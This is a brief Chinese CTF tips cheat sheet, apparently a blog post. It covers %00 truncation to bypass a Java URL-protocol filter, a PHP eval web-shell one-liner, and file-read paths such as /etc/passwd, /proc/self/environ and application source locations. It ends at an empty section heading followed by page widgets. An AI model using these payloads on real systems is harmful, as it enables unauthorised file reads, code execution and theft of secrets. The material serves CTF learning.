ctf奇淫巧计

%00截断:

%00在urldecode后就是0x00,一些函数诸如preg_match遇到0x00会直接停止。

 String tartget_url = req.getParameter("url");
        String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
        System.out.println(pri);
        if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
            resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
            System.out.println("no");
        } else {
            //如果第一个:前不是file|gopher|data,可以实现任意文件读取
            System.out.println("yes");
        }
    }
/testURL?url=url:file:///flag	# 常规绕过
/testURL?url=%00file:///flag	# 抓包,%00截断

 注意:get请求中url栏中会自动解码,post请求的话需要burp抓包然后手动改

php漏洞:

<?=eval($_GET{1});?>  可以用{}代替[]

一般网站目录:

/var/www/html/

文件路径:

java:   

/WEB-INF/web.xml

python:

?pic=/etc/passwd
?pic=/proc/self/cmdline		# 读取到当前工作目录:/app/app.py
?pic=/app/app.py			# 读取源码
?pic=/proc/self/cwd/app/app.py	 # 也可以用cwd切换到当前工作目录

/proc/1/cmdline  #读进程
/app/run.sh      #读源码位置
/app/app.py     #读源码

linux:

linux下的环境变量位于/proc/self/environ

shell脚本构造数字:

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值